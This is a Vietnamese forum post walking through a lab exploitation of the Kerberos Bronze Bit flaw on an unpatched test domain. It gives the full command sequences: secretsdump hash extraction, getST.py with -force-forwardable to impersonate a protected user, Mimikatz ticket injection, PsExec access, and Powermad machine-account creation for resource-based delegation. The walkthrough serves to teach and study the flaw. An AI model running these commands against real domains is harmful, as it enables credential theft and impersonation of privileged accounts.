Lỗ hổng Kerberos Bronze Bit (Phần 2 - Tiến hành khai thác)

Mũ Nồi

Member
18/02/2021
4
9 bài viết
Lỗ hổng Kerberos Bronze Bit (Phần 2 - Tiến hành khai thác)
A. Tổng quan cách khai thác

1. Kẻ tấn công đã join được vào domain

2. Kẻ tấn công lấy password hash cho dịch vụ (Service1). Có nhiều các để có thể lấy được hash như DC Sync attacks, Kerberoasting, hoặc tạo tài khoản mới với SPN thông qua Powermad.

3. Service1 có quan hệ ủy quyền hạn chế với dịch vụ (Service2). Mối quan hệ này có thể là mọt trong những điều sau:

a. Service1 được cấu hình để ủy quyền hạn chế cho Service2. Nghĩ là, Service2 nằm trong danh sách “AllowedToDelegateTo” của Service1.

b. Service2 cấu hình để chấp nhận ủy quền hạn chế dựa trên tài nguyên từ Service1. Nghĩ là, Service1 nằm trong danh sách “PrincipalsAllowedToDelegateToAccount” của Service 2.

c. Nếu kẻ tấn công có quyền ghi (GenericAll, GenericWrite, WriteOwner…) trên Service2 trong AD, kể tấn công có thể thêm Service1 vào danh sách “PrincipalsAllowedToDelegateToAccount” của Service2. Điều này không yêu cầu quyền domain admin.

4. Kẻ tấn công lợi dụng Service 1 để gửi yêu cầu lấy service ticket cho Service2 với tư cách là User2.

5. Kẻ tấn công mạo danh User2 và sử dụng dịch vụ của Service2.

B. Thực hiện khai thác

Khai thác Bronze Bit được phát triển thêm trong Impacket framework.

Giả sử kẻ tấn công lấy được hash cho Service1. Service1 có quan hệ ủy quyền hạn chế với Service2. Từ đây kẻ tấn công tìm cách có quyền truy cập vào Service2 với tư cách là User2

Chương trình getST.py có thể sử dụng để thực hiện các S4U exchanges và nhận service ticket với tư cách là một người dụng được chỉ định cho dịch vụ cụ thể. Điều kiện: Service1 được phép chuyển đổi giao thức (cấu hình bằng “TrustedToAuthForDelegation) và User không được bảo vệ khỏi ủy quyền:

1.png

Với service ticket cuối cùng, kẻ tấn công có thể mạo danh người dùng và tương tác với Service2.

Tuy nhiên, nếu Service1 không được phép chuyển đổi giao thức hoặc người dụng được bảo vệ khỏi ủy quyền, thì service ticket có được trong S4U2self exchange sẽ không được forward và yêu cầu S4U2proxy sẽ không thành công.

2.png

Để service ticket có thể forward được cần phải sửa forwardable flag trong service ticket sau khi trao đổi S4U2self.

Service1 sử dụng long-term key của mình để giải mã service ticket do KDC trả lại sau khi trao đổi S4U2self rồi thay đổi giá trị forwardable flag = 1 sau đó mã hóa lại và gửi đi trong quá trình trao đổi S4U2proxy. Cuối cùng KDC sẽ trả lại service ticket cho Service2 với tư cách là người dùng bị nhắm tới

3.png

C. Kịch bản tấn công #1

Khai thác cho phép bỏ qua tính năng bảo vệ "Trust this user for delegation to specified services only – Use Kerberos only" và mạo danh người dùng không được phép ủy quyền.

I. Cấu hình môi trường khai thác

- Domain: test.local

- 3 máy chủ chưa cập nhật bản vá trong đó 1 máy chủ được nâng cấp lên domain controler, 2 máy chủ còn lại sẽ join vào domain.

- Kẻ tấn công với tư cách là Uesr1 trên máy chủ Service1. Nhắm mục tiêu là User2 có quyền quản trị trên Service2.

1. Cụ thể cấu hình

- Trên DC, cấu hình Service1 sao cho được phép ủy quyền hạn chế không cần chuyển đổi giao thức sang Service2.

4.png

- Cập nhật User2 để được bảo vệ khỏi ủy quyền: Cấu hình “Account is sensitive and cannot be delegated” hoặc đặt làm thành viên của nhóm “Protected Users”
  • Cấu hình User2 với thuộc tính “Account is sensitive and cannot be delegated”

5.png

  • Thêm User2 vào nhóm “Protected Users”
6.png

2. Một số cấu hình thêm cần lưu ý

- Chọn Advancde Fratures để hiện thị thêm nhiều thông tin trong phần Properties của một đối tượng

7.png


- Trên máy Service1 cần thêm User1 với quyền administrator, tương tự với Service2 và User2

8.png

II. Thực hiện khai thác

1. Đăng nhập vào Service1 với tư các User1. Mở PowerShell với quyền administrator

- Commands:
  • whoami
  • ls \\service2.test.local\c$
  • .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
- Execution:

9.png

Xác nhận User1 không thể truy cập trực tiếp vào Service2

2. Lấy hash password của Service1. Sử dụng secretdum.py của Impacket để lấy mã băm “AES256-CTS-HMAC-SHA1-96” và “LM:NTLM” của Service1

- Commands:
  • python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'
- Execution:

10.png


3. Thử thực thi getST.py mà không có tham số -force-forwardable

- Commands:
  • .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1
- Execution:

11.png

Service ticket flag nhận được sau trao đổi S4U2self là 0 nên sau đó Service ticket sẽ không được gửi đi

4. Thực thi getST.py như trên nhưng thêm tham số -force-forwardable

- Commands:
  • .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable
- Execution:

12.png

Việc khai thác được thực hiện tự động và chuyển đổi service ticket nhận được từ S4U2self exchange thành một vé có thể chuyển tiếp. Điều này được thực hiện bằng cách giải mã vé bằng hash của Service1, thay đổi bit thứ hai trong giá trị flag từ 0 thành 1 và mã hóa lại vé. Vé này được gửi trong S4U2proxy exchange và một service ticket cho Service2 với tư cách là User2 được trả lại và ghi ở User2.ccache.

5. Tiếp theo, sử dụng Mimikatz để tải vé dịch vụ vào bộ nhớ cache để sử dụng. Sau khi được tải, sẽ thấy rằng Mimikatz xác nhận rằng đây là một vé hợp lệ cho User2 đến dịch vụ của Service2.

- Commands:
  • .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
- Execution:

13.png


6. Với phiếu dịch vụ được thêm vào bộ nhớ cache của mình, bây giờ kẻ tấn công có thể truy cập Service2 với tư cách là User2.

14.png

D. Kịch bản tấn công #2

I. Cấu hình môi trường


Sử dụng môi trường từ kịch bản 1, với một số cấu hình thay đổi. Tài khoản User2 (được nhắm mục tiêu) có thể giữ cấu hình với tư cách là thành viên của nhóm “Protected User” hoặc với thuộc tính " Account is sensitive and cannot be delegated".

Xóa ủy quyền của Service1 và cấu hình Service1 thành " Do not trust this computer for delegation."

15.png

Cấu hình Service2. Cấp quyền ghi (write) cho User1. Mặc dù trực tiếp cấp quyền cho người dùng trên Service2 nhưng người dùng thường sẽ nhận được quyền ghi đối với một hoặc nhiều đối tượng khác thông qua tư cách thành viên của các nhóm đặc quyền.

16.png

II. Thực hiện khai thác

Đăng nhập vào Service1 với tư cách User1 (mô phỏng việc kẻ tấn công truy cập được vào mạng). Nếu bắt đầu từ kịch bản 1 thì phải xóa cache ticket Kerberos (đơn giản nhất là khởi động lại)

Không giống như kịch bản trước, cuộc tấn công này sẽ không sử dụng bất kỳ quan hệ ủy quyền nào giữa Service1 và Service2. Mối quan hệ tin cậy này không còn tồn tại sau khi định cấu hình Service1 với " Do not trust this computer for delegation." Kẻ tấn công sẽ cần thiết lập mối quan hệ ủy quyền mới với Service2. Cụ thể tạo ra một dịch vụ mới và thiết lập ủy quyền dịch vụ đó với Service2.

Để tạo được một dịch vụ mới trong môi trường, có thể sử dụng Powermad để tạo một tài khoản máy mới. Việc tạo này không yêu cầu quyền nâng cao và có sẵn với bất kỳ người dùng nào trong domain. Trong ví dụ này sẽ tạo tài khoản máy là “AttackerService”

- Commands:
  • mport-Module .\Powermad\powermad.ps1
  • New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString '123@qaz' -AsPlainText -Force)
- Execution:

17.png

Sau khi chạy xong có thể thấy trong AD có sự xuất hiện của tài khoản AttackerService

18.png

Vì kể đã chọn mật khẩu cho tài khoản máy mới, ta có thể tính được các hash password tương ứng một cách dễ dàng với Mimikatz.

- Commands:
  • .\mimikatz\mimikatz.exe "kerberos::hash /password:123@qaz /user:AttackerService /domain:test.local" exit
- Execution:

19.png

Có thể kiểm tra tài khoản mới được tạo bằng mô-đun PowerShell Active Directory. Vì mô-đun chưa có sẵn, nên sẽ cần phải cài đặt.

- Commands:
  • Install-WindowsFeature RSAT-AD-PowerShell
  • Import-Module ActiveDirectory
  • Get-ADComputer AttackerService
- Execution:

20.png

Sau khi tạo xong tài khoản máy và xác nhận thì cần thiết lập ủy quyền ràng buộc giữa Service2 và AttackerService. Vì User1 có quyền ghi đối với Service2 nên có thể thêm AttackerService vào danh sách PrincipalsAllowedToDelegateToAccount của Service2. Điều này thiết lập ủy quyền ràng buộc dựa trên tài nguyên trên Service2, chấp nhận ủy quyền bị ràng buộc từ AttackerService

- Commands:
  • Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
  • Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
- Execution:

21.png

Khi đã tạo xong tài khoản máy và thực hiện ủy quyền thì thực hiện tiếp như kịch bản #1 để lấy service ticket tới Service2 với tư cách là User2 và được lưu ở User2.ccache

- Commands:
  • python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 0577936066c05471f58a581ab6bbe154:0577936066c05471f58a581ab6bbe154 -aesKey bb27ae2e30a69ba4da8a3130257e0871a942636b5643bf4d7193ee82b856cf04 test.local/AttackerService -force-forwardable
- Execution:

22.png

Sử dụng Mimikatz tải service ticket trong cache và mang đi sử dụng cho Service2 với tư cách là User2

- Commands:
  • .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
  • ls \\service2.test.local\c$
  • .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
  • whoami
  • hostname
- Execution:

23.png

Tham khảo: NetSPI Blog
 
Chỉnh sửa lần cuối bởi người điều hành:
Thẻ
bronze bit kerberos bronze bit
Bên trên